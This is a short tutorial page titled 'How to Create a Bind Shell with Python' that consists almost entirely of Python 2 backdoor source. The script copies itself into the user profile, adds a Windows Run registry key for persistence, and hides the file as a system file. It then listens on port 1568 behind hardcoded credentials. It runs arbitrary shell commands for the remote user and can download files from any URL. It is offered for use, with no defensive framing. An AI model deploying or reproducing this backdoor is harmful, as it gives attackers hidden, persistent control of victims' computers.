How to Create a Bind Shell with Python

import socket, os, thread, subprocess, sys, urllib2

subprocess.call('copy ' + os.path.split(sys.argv[0])[1] + ' %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
subprocess.call('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v BindShell /d %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
subprocess.call('attrib +s +r +h %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)

def connection(conn):
    conn.setblocking(1)
    conn.send("USER: ")
    user = conn.recv(1024)
    conn.send("PASS: ")
    passwd = conn.recv(1024)

    if user.strip('\r\n') =='ManWuzi' and passwd.strip('\r\n') == 'NullByte':
        conn.send('Connection Established!')
        while True:
            conn.send('\n$')
            data = conn.recv(1024)

            if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
                conn.close()
                break

            elif data.strip('\r\n').startswith('cd'):
                try:
                    os.chdir(data.strip('\r\n')[3:])
                except:
                    conn.send('The system path cannot be found!')

            elif data.strip('\r\n').startswith('wget'):
                try:
                    f = open(os.path.basename(data[5:]), "wb")
                    f.write(urllib2.urlopen(data[5:]))
                    f.close()
                    conn.send("Successfully downloaded %s" %os.path.basename(data[5:]))
                except:
                    conn.send("Download failed!")

            else:
                proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
                stdoutput = proc.stdout.read() + proc.stderr.read()
                conn.send(stdoutput)

    else:
        conn.send("Incorrect user/pass combination!\n")
        conn.close()


while True:
    try:

        s = socket.socket()
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        s.bind(('', 1568))
        s.listen(5)

        while True:
            s.settimeout(2)
            try:
                conn, addr = s.accept()

            except socket.timeout:
                continue


            if(conn):
                s.settimeout(None)
                thread.start_new_thread(connection, (conn,))


    except: pass